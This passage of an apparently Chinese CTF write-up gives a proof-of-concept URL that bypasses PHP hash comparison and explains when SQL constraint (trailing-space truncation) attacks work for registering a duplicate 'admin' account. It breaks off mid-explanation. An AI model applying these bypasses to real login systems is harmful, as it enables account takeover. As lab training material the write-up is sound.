所以最后POC是 http://118.89.219.210:49162/?v1=s1885207154a&v2=s1091221200a&v3[]=1

flag: SKCTF{Php_1s_tH3_B3St_L4NgUag3}

login1(SKCTF)

参考文章

简单理解SQL约束攻击,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。也就是说”admin “等同于”admin”

当然SQL约束攻击真正利用起来,存在以下的约束条件。

服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就不能导致数据库截断,也就没有利用条件。 登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码,然后再比对密码的话,那么也不能进行利用。因为当使用Dumb为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条则是目标用户的记录,那么你传输的密码肯定是和目标用户密码匹配不上的。 验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户Dumb和密码1

Viewing all articles
Browse latest Browse all 12749